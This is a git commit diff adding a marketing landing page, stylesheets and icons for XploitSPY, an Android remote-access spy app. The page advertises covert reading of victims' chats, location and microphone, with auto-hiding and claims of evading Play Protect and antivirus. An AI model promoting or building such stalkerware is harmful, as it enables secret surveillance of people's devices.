Added feature page

This commit is contained in:
ChrisStone07 2020-02-23 19:27:19 +05:30
parent 90eb917224
commit 25fff5fc85
23 changed files with 15412 additions and 8 deletions

View File

@ -1,10 +1,15 @@
<head> <head>
<meta charset="UTF-8"> <meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta content="XploitSPY is an Android Spy RAT app which can monitor all android devices. Monitor WhatsApp chats, Call recordings, GPS locations, Contacts, Call Logs, File Explorer & more without root. Also Spy Facebook, Instagram, Tinder & Gmail." name=description>
<title>XploitSPY</title> <title>XploitSPY</title>
<link rel="stylesheet" href="/css/semantic.min.css" /> <link rel="stylesheet" href="/css/semantic.min.css" />
<link rel="stylesheet" href="/css/snackbar.min.css" /> <link rel="stylesheet" href="/css/snackbar.min.css" />
<link rel="stylesheet" href="/css/custom.css" /> <link rel="stylesheet" href="/css/custom.css" />
<link href=favicon.png rel=icon>
<link rel="stylesheet" href="/css/bootstrap.css">
<link rel="stylesheet" href="/css/style.css">
<script src="/js/bootstrap.bundle.min.js"></script>
<script src="/js/jquery-3.4.1.min.js"></script> <script src="/js/jquery-3.4.1.min.js"></script>
<script src="/js/semantic.min.js"></script> <script src="/js/semantic.min.js"></script>
<script src="/js/snackbar.min.js"></script> <script src="/js/snackbar.min.js"></script>

View File

@ -0,0 +1,277 @@
<!DOCTYPE html>
<html lang="en">
<% include partials/head.ejs %>
<!-- <head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>XploitSPY</title>
<meta content="XploitSPY is an Android Spy RAT app which can monitor all android devices. Monitor WhatsApp chats, Call recordings, GPS locations, Contacts, Call Logs, File Explorer & more without root. Also Spy Facebook, Instagram, Tinder & Gmail." name=description>
<link href=favicon.png rel=icon>
<link rel="stylesheet" href="css/bootstrap.css">
<link rel="stylesheet" href="css/style.css">
<script src="js/jquery-3.4.1.min.js"></script>
</head> -->
<body>
<header id="s-header">
<nav class="navbar navbar-expand-lg">
<div class="container px-0">
<a class="navbar-brand" href="/">
<img src="/img/logo.png" alt="Logotype">
</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav ml-auto">
<li class="nav-item">
<a class="nav-link" href="#s-services">Features</a>
</li>
<li class="nav-item">
<a class="nav-link" href="#s-pricing-anchor">Pricing</a>
</li>
</ul>
</div>
</div>
</nav>
<div class="container">
<div id="main-text">
<div class="row">
<div class="col-xl-6 col-lg-8">
<h1>XploitSPY</h1>
<p>Monitor WhatsApp chats, Call recordings, GPS locations, Contacts, Call Logs, File Explorer & more without root. Also Spy Facebook, Instagram, Tinder, Skype, Telegram & Gmail. </p>
<div class="row button_wrap">
<div class="col-6">
<a href="/login" class="btn-custom">Login</a>
</div>
<!-- <div class="col-6">
<a href="javascript:LoginFunc('register');" class="btn-custom-black">Register</a>
</div> -->
</div>
</div>
<div class="img_wrap">
<img src="/img/hacker.png" alt="">
</div>
</div>
</div>
</div>
<a href="#s-services" class="scroll-down flowing-scroll"><img src="/img/scroll-down.png" alt="scroll down">Scroll Down</a>
</header>
<section id="s-services" class="section">
<div class="container">
<h2 class="h2">Features</h2>
<div class="row">
<div class="col-6 col-md-3">
<div class="wrap-services">
<p>View Call Logs</p>
</div>
</div>
<div class="col-6 col-md-3">
<div class="wrap-services">
<p>View/Send Messages</p>
</div>
</div>
<div class="col-6 col-md-3">
<div class="wrap-services">
<p>View Contacts</p>
</div>
</div>
<div class="col-6 col-md-3">
<div class="wrap-services">
<p>Get Location of Device</p>
</div>
</div>
<div class="col-6 col-md-3">
<div class="wrap-services">
<p>File Explorer & Downloader</p>
</div>
</div>
<div class="col-6 col-md-3">
<div class="wrap-services">
<p>Microphone Recording</p>
</div>
</div>
<div class="col-6 col-md-3">
<div class="wrap-services">
<p>View WiFi Networks</p>
</div>
</div>
<div class="col-6 col-md-3">
<div class="wrap-services">
<p>Live Clipboad Logging</p>
</div>
</div>
<div class="col-6 col-md-3">
<div class="wrap-services">
<p>View Installed Apps</p>
</div>
</div>
<div class="col-6 col-md-3">
<div class="wrap-services">
<p>Monitor Skype/Telegram</p>
</div>
</div>
<div class="col-6 col-md-3">
<div class="wrap-services">
<p>App auto-hide</p>
</div>
</div>
<div class="col-6 col-md-3">
<div class="wrap-services">
<p>Dedicated UI</p>
</div>
</div>
<div class="col-6 col-md-3">
<div class="wrap-services">
<p>Whatsapp Chats</p>
</div>
</div>
<div class="col-6 col-md-3">
<div class="wrap-services">
<p>Instagram Chats</p>
</div>
</div>
<div class="col-6 col-md-3">
<div class="wrap-services">
<p>Messenger Chats</p>
</div>
</div>
<div class="col-6 col-md-3">
<div class="wrap-services">
<p>Tinder Chats</p>
</div>
</div>
<div class="col-6 col-md-3">
<div class="wrap-services">
<p>Bypass PlayProtect</p>
</div>
</div>
<div class="col-6 col-md-3">
<div class="wrap-services">
<p>Undetectable by AntiVirus</p>
</div>
</div>
<div class="col-6 col-md-3">
<div class="wrap-services">
<p>Command Queing</p>
</div>
</div>
<div class="col-6 col-md-3">
<div class="wrap-services">
<p>Inbuilt Apk Builder</p>
</div>
</div>
<div class="col-6 col-md-3">
<div class="wrap-services">
<p>Completely OpenSource</p>
</div>
</div>
<div class="col-6 col-md-3">
<div class="wrap-services">
<p>And many more Features!</p>
</div>
</div>
</div>
</div>
</section>
<section id="s-video">
<div class="container" id="PCA">
<div class="row justify-content-between align-items-center h-100">
<div class="col-md-6">
<p class="PCA-text">Made with &#10084;&#65039; by XploitWizer</p>
</div>
<div class="col-md-4">
<a href="https://xploitwizer.com" class="PCA-button btn-custom">Official Website</a>
</div>
</div>
</div>
</section>
<section id="s-pricing">
<div class="anchor-block" id="s-pricing-anchor"></div>
<div class="container">
<h2 class="h2">pricing</h2>
<div class="row">
<div class="col-lg-3 col-md-6">
<article class="pricing">
<img src="/img/svg/Shape7.svg" class="pricing-img" alt="Basic">
<p class="h4">Monthly</p>
<p class="pricing-short-description">Basic Plan</p>
<div class="open-list">Open list</div>
<div class="pricing-list">
<section class="pricing-block">
<p class="pricing-block-title">All features!</p>
<ul class="list-unstyled pricing-block-list">
</ul>
</section>
</div>
<p class="pricing-cost">Free</p>
<a href="https://github.com/XploitWizer/XploitSPY" class="btn-custom pricing-btn">Get Started</a>
</article>
</div>
<div class="col-lg-3 col-md-6">
<article class="pricing">
<img src="/img/svg/Shape6.svg" class="pricing-img" alt="Medium">
<p class="h4">3-month</p>
<p class="pricing-short-description">Perfect Plan!</p>
<div class="open-list">Open list</div>
<div class="pricing-list">
<section class="pricing-block">
<p class="pricing-block-title">All features</p>
<ul class="list-unstyled pricing-block-list">
</ul>
</section>
</div>
<p class="pricing-cost">Free</p>
<a href="https://github.com/XploitWizer/XploitSPY" class="btn-custom pricing-btn">Get Started</a>
</article>
</div>
<div class="col-lg-3 col-md-6">
<article class="pricing">
<img src="/img/svg/Shape4.svg" class="pricing-img" alt="Medium">
<p class="h4">6-month</p>
<p class="pricing-short-description">For long term!</p>
<div class="open-list">Open list</div>
<div class="pricing-list">
<section class="pricing-block">
<p class="pricing-block-title">All faetures!</p>
<ul class="list-unstyled pricing-block-list">
</ul>
</section>
</div>
<p class="pricing-cost">Free</p>
<a href="https://github.com/XploitWizer/XploitSPY" class="btn-custom pricing-btn">Get Started</a>
</article>
</div>
<div class="col-lg-3 col-md-6">
<article class="pricing">
<img src="/img/svg/Shape4.svg" class="pricing-img" alt="Medium">
<p class="h4">Source Code</p>
<p class="pricing-short-description two-lines">For businesses and advanced needs of individual</p>
<div class="open-list">Open list</div>
<div class="pricing-list">
<section class="pricing-block">
<p class="pricing-block-title">Feel Free to Contribute</p>
<ul class="list-unstyled pricing-block-list">
</ul>
</section>
</div>
<p class="pricing-cost">Free</p>
<a href="https://github.com/XploitWizer/XploitSPY" class="btn-custom pricing-btn">Get Started</a>
</article>
</div>
</div>
</div>
</section>
<footer id="s-footer">
<a href="javascript:LoginFunc('download');" class="scroll-top"><img src="/img/svg/downloadmain.svg" alt="Download"></a>
</footer>
<!-- <script src="js/bootstrap.bundle.min.js"></script>
<script src="js/main.js"></script> -->
</body>
</html>

3308
server/assets/webpublic/css/animate.css vendored Normal file

File diff suppressed because it is too large Load Diff

10341
server/assets/webpublic/css/bootstrap.css vendored Normal file

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

Binary file not shown.

After

Width:  |  Height:  |  Size: 824 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 66 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 170 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 158 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 258 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 115 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 422 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 298 KiB

View File

@ -0,0 +1,11 @@
<svg xmlns="http://www.w3.org/2000/svg" width="72" height="72" viewBox="0 0 72 72">
<defs>
<style>
.cls-1 {
fill: #04b604;
fill-rule: evenodd;
}
</style>
</defs>
<path id="Shape_4_copy" data-name="Shape 4 copy" class="cls-1" d="M1116.81,3614.6a1.412,1.412,0,0,0-1.17-.63H1088.4a1.392,1.392,0,0,0-1.18.63l-6.85,10.39V3625a1.14,1.14,0,0,0-.1.19,1.4,1.4,0,0,0,.22,1.5l20.45,23.36a1.442,1.442,0,0,0,1.06.48,1.425,1.425,0,0,0,1.06-.48l20.45-23.36a1.4,1.4,0,0,0,.22-1.5,1.14,1.14,0,0,0-.1-0.19h0Zm3.04,9.76h-8.43l4.22-6.42Zm-22.79,2.81h9.88l-4.94,16.87Zm7.55-10.39h8.42l-4.21,6.42Zm1.61,7.58h-8.43l4.21-6.42Zm-11.02-1.18-4.2-6.4h8.4Zm-6.81-5.25,4.22,6.43h-8.45Zm5.74,9.24,4.77,16.27-14.25-16.27h9.48Zm10.98,16.27,4.76-16.27h9.48Zm22.35-38.9A36.008,36.008,0,1,0,1138,3630,35.762,35.762,0,0,0,1127.46,3604.54ZM1102,3663.19a33.19,33.19,0,1,1,33.19-33.19A33.229,33.229,0,0,1,1102,3663.19Zm-19.09-50.88a1.442,1.442,0,0,0,1-.41l0.02-.02a1.411,1.411,0,0,0-2.01-1.98,0.01,0.01,0,0,1-.01.01A1.41,1.41,0,0,0,1082.91,3612.31Zm39.18-2.4a28.425,28.425,0,0,0-35.54-3.76,1.406,1.406,0,0,0,1.53,2.36,25.6,25.6,0,1,1-7.55,7.54,1.4,1.4,0,0,0-2.35-1.53A28.407,28.407,0,1,0,1122.09,3609.91Z" transform="translate(-1066 -3594)"/>
</svg>

After

Width:  |  Height:  |  Size: 1.2 KiB

View File

@ -0,0 +1,11 @@
<svg xmlns="http://www.w3.org/2000/svg" width="80.031" height="80" viewBox="0 0 80.031 80">
<defs>
<style>
.cls-1 {
fill: #04b604;
fill-rule: evenodd;
}
</style>
</defs>
<path class="cls-1" d="M842.521,3602.86l-20-8.75a1.321,1.321,0,0,0-1.067,0l-20,8.75a1.328,1.328,0,0,0-.8,1.22v20.94a14.7,14.7,0,0,0,6.081,11.88l13.826,9.97a2.467,2.467,0,0,0,2.862,0l13.826-9.97a14.7,14.7,0,0,0,6.081-11.88v-20.94A1.328,1.328,0,0,0,842.521,3602.86Zm-1.867,22.16a11.993,11.993,0,0,1-4.975,9.71l-13.7,9.88-13.7-9.88a11.994,11.994,0,0,1-4.974-9.71v-20.06l18.671-8.17,18.671,8.17v20.06Zm-19.205-25.09-14.67,6.42a1.33,1.33,0,0,0-.8,1.22v17.45a9.329,9.329,0,0,0,3.868,7.55l11.356,8.19a1.32,1.32,0,0,0,1.56,0l11.356-8.19a9.328,9.328,0,0,0,3.867-7.55v-17.45a1.328,1.328,0,0,0-.8-1.22l-14.67-6.42A1.321,1.321,0,0,0,821.449,3599.93Zm13.87,8.51v16.58a6.671,6.671,0,0,1-2.761,5.39l-10.575,7.63-10.576-7.63a6.672,6.672,0,0,1-2.76-5.39v-16.58l13.336-5.83Zm-42.3,29.82-2.885-6.73a4.251,4.251,0,1,0-7.779,3.43l5.227,11.49a14.031,14.031,0,0,0,2.895,4.18l8.219,8.22a2.652,2.652,0,0,0-.723,1.81v10.67a2.672,2.672,0,0,0,2.668,2.67h14.67a2.671,2.671,0,0,0,2.667-2.67v-10.67a2.663,2.663,0,0,0-2.667-2.66v-2.48a13.993,13.993,0,0,0-2.924-8.74,9.64,9.64,0,0,0-4.445-3.24,26.43,26.43,0,0,1-7.635-4.9A6.157,6.157,0,0,0,793.023,3638.26Zm22.292,33.07h-14.67v-10.67h14.67v10.67Zm-5.005-22.88a11.292,11.292,0,0,1,2.337,7.07V3658H801.62l-9.253-9.25a11.464,11.464,0,0,1-2.354-3.4l-5.227-11.49a1.585,1.585,0,1,1,2.9-1.28l2.983,6.95a15.749,15.749,0,0,0,3.364,4.97l6.092,6.09a1.306,1.306,0,0,0,1.3.36,1.326,1.326,0,0,0,.588-2.24l-6.092-6.1a13.094,13.094,0,0,1-1.644-2,3.473,3.473,0,0,1,4.32.08,28.46,28.46,0,0,0,8.508,5.38A7.034,7.034,0,0,1,810.31,3648.45Zm1,16.22H809.98a1.33,1.33,0,1,0,0,2.66h1.334A1.33,1.33,0,1,0,811.314,3664.67Zm45.066-18.22,5.226-11.49a4.25,4.25,0,1,0-7.777-3.43l-2.878,6.71a6.156,6.156,0,0,0-7.3.4,26.416,26.416,0,0,1-7.635,4.9,9.58,9.58,0,0,0-4.445,3.24,13.98,13.98,0,0,0-2.923,8.74V3658a2.663,2.663,0,0,0-2.667,2.66v10.67a2.671,2.671,0,0,0,2.667,2.67h14.67a2.671,2.671,0,0,0,2.667-2.67v-10.67a2.647,2.647,0,0,0-.723-1.81l8.22-8.22A14.031,14.031,0,0,0,856.38,3646.45Zm-13.059,24.88h-14.67v-10.67h14.67v10.67ZM842.346,3658H831.318v-2.48a11.3,11.3,0,0,1,2.338-7.07,7.009,7.009,0,0,1,3.2-2.38,28.47,28.47,0,0,0,8.51-5.38,3.469,3.469,0,0,1,4.327-.09,13.125,13.125,0,0,1-1.652,2.02l-6.092,6.09a1.332,1.332,0,0,0,1.886,1.88l6.092-6.09a15.651,15.651,0,0,0,3.363-4.97l2.984-6.95a1.589,1.589,0,0,1,2.789-.24,1.6,1.6,0,0,1,.11,1.52l-5.227,11.49a11.446,11.446,0,0,1-2.354,3.4Zm-8.36,6.67h-1.334a1.33,1.33,0,1,0,0,2.66h1.334A1.33,1.33,0,1,0,833.986,3664.67Zm-19.205-42.41a1.336,1.336,0,0,0-1.6,2.14l5.334,4a1.349,1.349,0,0,0,.8.26,0.861,0.861,0,0,0,.226-0.02,1.3,1.3,0,0,0,.884-0.57l10.669-16a1.334,1.334,0,0,0-2.219-1.48l-9.887,14.83Z" transform="translate(-781.969 -3594)"/>
</svg>

After

Width:  |  Height:  |  Size: 2.8 KiB

View File

@ -0,0 +1,11 @@
<svg xmlns="http://www.w3.org/2000/svg" width="80" height="80" viewBox="0 0 80 80">
<defs>
<style>
.cls-1 {
fill: #04b604;
fill-rule: evenodd;
}
</style>
</defs>
<path class="cls-1" d="M549.272,3594a28.71,28.71,0,0,0-21.117,48.18l-3.662,3.66a1.662,1.662,0,0,0-.183.24,4.971,4.971,0,0,0-2.592-.73,4.9,4.9,0,0,0-3.487,1.44l-18.786,18.79a4.93,4.93,0,1,0,6.973,6.97l18.787-18.78a4.932,4.932,0,0,0,.709-6.08,1.265,1.265,0,0,0,.24-0.18l3.662-3.67A28.72,28.72,0,1,0,549.272,3594Zm-44.515,76.89a2.582,2.582,0,1,1-3.652-3.65l16.7-16.7,3.653,3.65Zm18.787-18.78-0.422.42-3.652-3.65,0.422-.43A2.585,2.585,0,0,1,523.544,3652.11Zm25.728-3a26.38,26.38,0,1,1,26.38-26.38A26.414,26.414,0,0,1,549.272,3649.11Zm22.789-32.98A23.8,23.8,0,0,0,562.45,3603a1.178,1.178,0,0,0-1.307,1.96,21.38,21.38,0,0,1,8.662,11.82,1.169,1.169,0,0,0,1.127.85,1.225,1.225,0,0,0,.327-0.04A1.182,1.182,0,0,0,572.061,3616.13ZM546.9,3643.97a21.162,21.162,0,0,1-12.408-5.81,1.172,1.172,0,1,0-1.625,1.69,23.815,23.815,0,0,0,13.775,6.45,0.575,0.575,0,0,0,.13.01A1.174,1.174,0,0,0,546.9,3643.97Zm-16.619-11.44a1.175,1.175,0,1,0-2.086,1.08,24.983,24.983,0,0,0,1.358,2.3,1.172,1.172,0,0,0,1.629.32,1.175,1.175,0,0,0,.323-1.63A22.047,22.047,0,0,1,530.277,3632.53Zm23.745-30.64a20.24,20.24,0,0,1,2.29.65,1.053,1.053,0,0,0,.387.07,1.173,1.173,0,0,0,.386-2.28,22.548,22.548,0,0,0-2.543-.73,1.168,1.168,0,0,0-1.405.88A1.184,1.184,0,0,0,554.022,3601.89Zm8.926,19.35a1.178,1.178,0,0,0-1.523-.88l-2.468.82a14.294,14.294,0,0,0-.821-2.82l1.681-.85a1.135,1.135,0,0,0,.525-0.52l2.5-5.01a1.174,1.174,0,1,0-2.1-1.05l-2.33,4.66-1.351.68a10.681,10.681,0,0,0-3.889-3.74l2.156-4.31a1.174,1.174,0,0,0-2.1-1.05l-2.272,4.55a7.593,7.593,0,0,0-3.376,0l-2.272-4.55a1.174,1.174,0,0,0-2.1,1.05l2.156,4.31a10.681,10.681,0,0,0-3.889,3.74l-1.352-.68-2.329-4.66a1.174,1.174,0,1,0-2.1,1.05l2.5,5.01a1.135,1.135,0,0,0,.525.52l1.681,0.85a14.294,14.294,0,0,0-.821,2.82l-2.468-.82a1.178,1.178,0,0,0-1.523.88l-1.252,6.27a1.177,1.177,0,0,0,.921,1.38,1.832,1.832,0,0,0,.231.02,1.18,1.18,0,0,0,1.151-.94l0.991-4.96,1.7,0.57c0,0.13-.008.26-0.008,0.4a15.175,15.175,0,0,0,.536,4.02,1.551,1.551,0,0,0-.192.16l-2.5,2.5a1.183,1.183,0,0,0-.177,1.44l3.758,6.26a1.166,1.166,0,0,0,1.007.57,1.111,1.111,0,0,0,.6-0.17,1.17,1.17,0,0,0,.4-1.61l-3.285-5.47,1.279-1.28c1.742,3.61,4.906,6.02,8.514,6.02s6.772-2.41,8.514-6.02l1.279,1.28-3.285,5.47a1.172,1.172,0,0,0,.4,1.61,1.117,1.117,0,0,0,.6.17,1.166,1.166,0,0,0,1.007-.57l3.758-6.26a1.183,1.183,0,0,0-.177-1.44l-2.5-2.5a1.551,1.551,0,0,0-.192-0.16,15.175,15.175,0,0,0,.536-4.02c0-.14,0-0.27-0.008-0.4l1.7-.57,0.991,4.96a1.18,1.18,0,0,0,1.151.94,1.832,1.832,0,0,0,.231-0.02,1.177,1.177,0,0,0,.921-1.38Zm-14.85,12.72c-3.631-.76-6.419-4.94-6.419-9.98a12.865,12.865,0,0,1,.756-4.39,13.012,13.012,0,0,0,5.663,1.76v12.61Zm-4.623-16.49a6.475,6.475,0,0,1,11.594,0A11.425,11.425,0,0,1,543.475,3617.47Zm6.971,16.49v-12.61a13.012,13.012,0,0,0,5.663-1.76,12.865,12.865,0,0,1,.756,4.39C556.865,3629.02,554.077,3633.2,550.446,3633.96Z" transform="translate(-498 -3594)"/>
</svg>

After

Width:  |  Height:  |  Size: 3.0 KiB

View File

@ -0,0 +1,84 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!-- Created with Inkscape (http://www.inkscape.org/) -->
<svg
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:cc="http://creativecommons.org/ns#"
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:svg="http://www.w3.org/2000/svg"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
version="1.1"
id="svg10"
width="18"
height="11"
viewBox="0 0 18 11"
sodipodi:docname="arrow-bottom.svg"
inkscape:version="0.92.4 (5da689c313, 2019-01-14)">
<metadata
id="metadata16">
<rdf:RDF>
<cc:Work
rdf:about="">
<dc:format>image/svg+xml</dc:format>
<dc:type
rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
<dc:title></dc:title>
</cc:Work>
</rdf:RDF>
</metadata>
<defs
id="defs14" />
<sodipodi:namedview
pagecolor="#ffffff"
bordercolor="#666666"
borderopacity="1"
objecttolerance="10"
gridtolerance="10"
guidetolerance="10"
inkscape:pageopacity="0"
inkscape:pageshadow="2"
inkscape:window-width="1440"
inkscape:window-height="837"
id="namedview12"
showgrid="false"
inkscape:zoom="58"
inkscape:cx="9"
inkscape:cy="5.5"
inkscape:window-x="-8"
inkscape:window-y="-8"
inkscape:window-maximized="1"
inkscape:current-layer="svg10" />
<image
width="18"
height="11"
preserveAspectRatio="none"
style="image-rendering:optimizeQuality"
xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAALCAYAAAByF90EAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJ
bWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdp
bj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6
eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0
NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJo
dHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlw
dGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAv
IiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RS
ZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpD
cmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNiAoV2luZG93cykiIHhtcE1NOkluc3RhbmNl
SUQ9InhtcC5paWQ6NUY5ODg4NzNERTJCMTFFOUIwMTZBMTc0RUVBMzA5OUMiIHhtcE1NOkRvY3Vt
ZW50SUQ9InhtcC5kaWQ6NUY5ODg4NzRERTJCMTFFOUIwMTZBMTc0RUVBMzA5OUMiPiA8eG1wTU06
RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo1Rjk4ODg3MURFMkIxMUU5QjAx
NkExNzRFRUEzMDk5QyIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo1Rjk4ODg3MkRFMkIxMUU5
QjAxNkExNzRFRUEzMDk5QyIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1w
bWV0YT4gPD94cGFja2V0IGVuZD0iciI/PrhFpLIAAAEASURBVHjajJLBSgJRFIbHO4O0CMIXKNq5
ClspYr2IJBEi6kqDBCFxIy4kIiIwRPEdTMSgeoaeKPsOnIsH0dED3zBnzj/f3HuZRLSIAqoKGajB
KjisEjCEX3gXSx3edBBC5QCZZEdQ1qxzXNI6CHQwlkGMxGmmbKTp0BXdkpsUZHVwCacw37KyUCV3
5tkrNEQkzSecQM7IzuDDyEQygVsjeYGmZLzIy44hr70c/jnMdDtTKBnJM9z7JtpY+gP8QUv7G3Ne
RZN70ux6z2ZFvr7gCAraXyi+BuZDsSKpb0jC1cbzPrS3vbBLJPWjW7/WvgePu8LRnh+vo2cm1Y0L
/gswAKcxKNi804PZAAAAAElFTkSuQmCC
"
id="image18"
x="0"
y="0" />
</svg>

After

Width:  |  Height:  |  Size: 3.3 KiB

View File

@ -0,0 +1,14 @@
<svg width="24" height="26" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<metadata id="metadata16">image/svg+xml</metadata>
<g>
<title>background</title>
<rect fill="none" id="canvas_background" height="402" width="582" y="-1" x="-1"/>
</g>
<g>
<title>Layer 1</title>
<image y="1.285714" x="-33.57143" id="image18" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAaCAYAAACtv5zzAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJ bWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdp bj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6 eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0 NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJo dHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlw dGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAv IiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RS ZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpD cmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNiAoV2luZG93cykiIHhtcE1NOkluc3RhbmNl SUQ9InhtcC5paWQ6ODg3NTQ2RUZEREREMTFFOUJENzZEODZCNERCMkQxRDkiIHhtcE1NOkRvY3Vt ZW50SUQ9InhtcC5kaWQ6ODg3NTQ2RjBEREREMTFFOUJENzZEODZCNERCMkQxRDkiPiA8eG1wTU06 RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo4ODc1NDZFREREREQxMUU5QkQ3 NkQ4NkI0REIyRDFEOSIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo4ODc1NDZFRUREREQxMUU5 QkQ3NkQ4NkI0REIyRDFEOSIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1w bWV0YT4gPD94cGFja2V0IGVuZD0iciI/PmmWF44AAAE0SURBVHja7JTfSgJBFMZnTj5HvUQ9UFZS sUiY0CN4EZHIIhpS+BIiXXprL5HvoeN34Bs4LOv+wbqRPfBjZ+bs+b75s7O+tWi5GjEAAl6qFtRR fwV9U/dcpUgqir8ZcY0eeAf+WANPoV5O7gkMy0ykRHxIIY1vk1vy2QWjIhMpEB9RQGMO7k3+AXyy nYD0kIkcEE9ZqPEFbsDWvLMDd8bkEYzzTCRHfMwCR4HbjLg10dyMfV3hJGsiGfGJ2YoZBXYF5xRA B3ywH9s+a+CZ6LAf26HCJxzM7J1ZlUQDMbN1ZhWhxiUM5hw02tQ80xs55YDjC0lNcWuScEv1ea1j OvsVDzE9QtyaxLuhmivPn90V+CkRPwe/bF+ATcklvQTr+LNbu7+NEDXF/XM0Bo1BY3AKBnsBBgBR skP7nRBFhwAAAABJRU5ErkJggg== " height="26" width="24"/>
<image stroke="null" transform="rotate(179.96884155273438 12.357139587402344,11.857143402099611) " y="0.429154" x="1.427713" id="svg_1" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAaCAYAAACtv5zzAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJ bWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdp bj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6 eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0 NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJo dHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlw dGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAv IiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RS ZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpD cmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNiAoV2luZG93cykiIHhtcE1NOkluc3RhbmNl 